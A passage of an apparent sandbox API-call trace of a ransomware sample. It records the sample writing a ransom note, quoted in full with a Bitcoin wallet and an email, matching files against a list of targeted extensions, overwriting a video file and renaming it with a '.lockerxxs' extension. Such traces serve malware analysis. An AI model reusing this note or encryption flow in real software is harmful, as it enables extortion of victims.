decrypt files.txt")) returned 0xffffffff [0091.937] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0091.938] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.938] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.940] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.940] CloseHandle (hObject=0x90) returned 1 [0091.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="CmWiFndgcjOUEL.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" [0091.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.ems") returned 0 [0091.940] lstrlenA (lpString="*.ems") returned 5 [0091.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.db") returned 0 [0091.941] lstrlenA (lpString="*.db") returned 4 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.dbf") returned 0 [0091.941] lstrlenA (lpString="*.dbf") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.myox") returned 0 [0091.941] lstrlenA (lpString="*.myox") returned 6 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.myo") returned 0 [0091.941] lstrlenA (lpString="*.myo") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbw") returned 0 [0091.941] lstrlenA (lpString="*.qbw") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbb") returned 0 [0091.941] lstrlenA (lpString="*.qbb") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbm") returned 0 [0091.941] lstrlenA (lpString="*.qbm") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbo") returned 0 [0091.941] lstrlenA (lpString="*.qbo") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbx") returned 0 [0091.941] lstrlenA (lpString="*.qbx") returned 5 [0091.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qba") returned 0 [0091.942] lstrlenA (lpString="*.qba") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qby") returned 0 [0091.942] lstrlenA (lpString="*.qby") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qbj") returned 0 [0091.942] lstrlenA (lpString="*.qbj") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.ofx") returned 0 [0091.942] lstrlenA (lpString="*.ofx") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.qif") returned 0 [0091.942] lstrlenA (lpString="*.qif") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.mye") returned 0 [0091.942] lstrlenA (lpString="*.mye") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.mbox") returned 0 [0091.942] lstrlenA (lpString="*.mbox") returned 6 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.eml") returned 0 [0091.942] lstrlenA (lpString="*.eml") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.pst") returned 0 [0091.942] lstrlenA (lpString="*.pst") returned 5 [0091.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.ost") returned 0 [0091.943] lstrlenA (lpString="*.ost") returned 5 [0091.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.idx") returned 0 [0091.943] lstrlenA (lpString="*.idx") returned 5 [0091.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.dbx") returned 0 [0091.943] lstrlenA (lpString="*.dbx") returned 5 [0091.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.sql") returned 0 [0091.943] lstrlenA (lpString="*.sql") returned 5 [0091.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.mdb") returned 0 [0091.943] lstrlenA (lpString="*.mdb") returned 5 [0091.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.fdb") returned 0 [0091.943] lstrlenA (lpString="*.fdb") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.wab") returned 0 [0091.944] lstrlenA (lpString="*.wab") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.dat") returned 0 [0091.944] lstrlenA (lpString="*.dat") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.txt") returned 0 [0091.944] lstrlenA (lpString="*.txt") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.jpeg") returned 0 [0091.944] lstrlenA (lpString="*.jpeg") returned 6 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.jpg") returned 0 [0091.944] lstrlenA (lpString="*.jpg") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.png") returned 0 [0091.944] lstrlenA (lpString="*.png") returned 5 [0091.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.php") returned 0 [0091.945] lstrlenA (lpString="*.php") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.cs") returned 0 [0091.945] lstrlenA (lpString="*.cs") returned 4 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.cpp") returned 0 [0091.945] lstrlenA (lpString="*.cpp") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.rar") returned 0 [0091.945] lstrlenA (lpString="*.rar") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.zip") returned 0 [0091.945] lstrlenA (lpString="*.zip") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.html") returned 0 [0091.945] lstrlenA (lpString="*.html") returned 6 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.htm") returned 0 [0091.945] lstrlenA (lpString="*.htm") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.xlsx") returned 0 [0091.945] lstrlenA (lpString="*.xlsx") returned 6 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.xls") returned 0 [0091.945] lstrlenA (lpString="*.xls") returned 5 [0091.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.mp4") returned 0 [0091.945] lstrlenA (lpString="*.mp4") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.ppt") returned 0 [0091.946] lstrlenA (lpString="*.ppt") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.pptx") returned 0 [0091.946] lstrlenA (lpString="*.pptx") returned 6 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.doc") returned 0 [0091.946] lstrlenA (lpString="*.doc") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.dot") returned 0 [0091.946] lstrlenA (lpString="*.dot") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.docx") returned 0 [0091.946] lstrlenA (lpString="*.docx") returned 6 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.7z") returned 0 [0091.946] lstrlenA (lpString="*.7z") returned 4 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.tar") returned 0 [0091.946] lstrlenA (lpString="*.tar") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.bz2") returned 0 [0091.946] lstrlenA (lpString="*.bz2") returned 5 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.gz") returned 0 [0091.946] lstrlenA (lpString="*.gz") returned 4 [0091.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", pszSpec="*.mkv") returned 1 [0091.947] lstrlenA (lpString="*.mkv") returned 5 [0091.947] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" [0091.947] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" [0091.947] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv." [0091.947] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv.lockerxxs" [0091.947] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\cmwifndgcjouel.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0091.947] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16a4d [0091.948] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1f158940, dwHighDateTime=0x1d5e5a4), lpLastAccessTime=0x407536*(dwLowDateTime=0x7bb1140, dwHighDateTime=0x1d5dadf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x7bb1140, dwHighDateTime=0x1d5dadf)) returned 1 [0091.948] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.948] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x16a27, lpOverlapped=0x0) returned 1 [0091.950] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv") returned="CmWiFndgcjOUEL.mkv" [0091.951] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.951] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x16a27, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x16a27, lpOverlapped=0x0) returned 1 [0091.952] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.952] CloseHandle (hObject=0x90) returned 1 [0091.961] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\cmwifndgcjouel.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\cmwifndgcjouel.mkv.lockerxxs")) returned 1 [0091.963] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a5ddb0, ftCreationTime.dwHighDateTime=0x1d5e1e2, ftLastAccessTime.dwLowDateTime=0xf1b9d090, ftLastAccessTime.dwHighDateTime=0x1d5e3b5, ftLastWriteTime.dwLowDateTime=0xf1b9d090, ftLastWriteTime.dwHighDateTime=0x1d5e3b5, nFileSizeHigh=0x0, nFileSizeLow=0xc514, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName="MiWyZ9uPjJv.flv", cAlternateFileName="MIWYZ9~1.FLV")) returned 1 [0091.963] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.963] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MiWyZ9uPjJv.flv") returned -1 [0091.963] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MiWyZ9uPjJv.flv") returned -1 [0091.963] lstrcmpiA (lpString1="", lpString2="MiWyZ9uPjJv.flv") returned -1 [0091.963] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\CmWiFndgcjOUEL.mkv") returned="CmWiFndgcjOUEL.mkv" [0091.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" [0091.963] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="" [0091.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" [0091.963] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to decrypt files.txt")) returned 0x20 [0091.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="MiWyZ9uPjJv.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv" [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.ems") returned 0 [0091.964] lstrlenA (lpString="*.ems") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.db") returned 0 [0091.964] lstrlenA (lpString="*.db") returned 4 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.dbf") returned 0 [0091.964] lstrlenA (lpString="*.dbf") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.myox") returned 0 [0091.964] lstrlenA (lpString="*.myox") returned 6 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.myo") returned 0 [0091.964] lstrlenA (lpString="*.myo") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbw") returned 0 [0091.964] lstrlenA 